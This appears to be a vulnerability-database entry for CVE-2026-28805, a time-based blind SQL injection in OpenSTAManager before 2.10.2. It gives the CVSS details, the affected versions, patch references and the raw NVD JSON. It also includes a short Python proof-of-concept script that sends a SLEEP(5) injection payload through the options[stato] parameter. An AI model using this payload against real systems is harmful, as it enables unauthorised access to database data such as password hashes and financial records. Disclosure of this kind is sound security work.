Security Vulnerability Report
中文
CVE-2026-28805 CVSS 8.8 HIGH

CVE-2026-28805

Published: 2026-04-02 14:16:26
Last Modified: 2026-04-07 21:17:55

Description

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, multiple AJAX select handlers in OpenSTAManager are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database. This issue has been patched in version 2.10.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:* - VULNERABLE
OpenSTAManager < 2.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target URL (example) target_url = "http://target-openstamanager/ajax_select.php" # The vulnerable parameter is options[stato] # Payload to check time-based blind SQL injection # If the database sleeps for 5 seconds, the condition is True payload = "1' AND (SELECT SLEEP(5))-- -" params = { "options[stato]": payload } try: print(f"[+] Sending payload to {target_url}...") start_time = time.time() response = requests.get(target_url, params=params, timeout=10) end_time = time.time() elapsed = end_time - start_time if elapsed >= 5: print(f"[!] Vulnerability Confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Not vulnerable or patch applied. Response time: {elapsed:.2f}s") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28805", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:26.400", "lastModified": "2026-04-07T21:17:55.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, multiple AJAX select handlers in OpenSTAManager are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database. This issue has been patched in version 2.10.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.2", "matchCriteriaId": "37690084-64E6-4E8B-8A92-8B55C8FC1E9F"}]}]}], "references": [{"url": "https://github.com/devcode-it/openstamanager/commit/50b9089c506ba2ca249afb1dfead2af5d42c10e7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/devcode-it/openstamanager/commit/679c40fa5b3acad4263b537f367c0695ff9666dc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-3gw8-3mg3-jmpc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}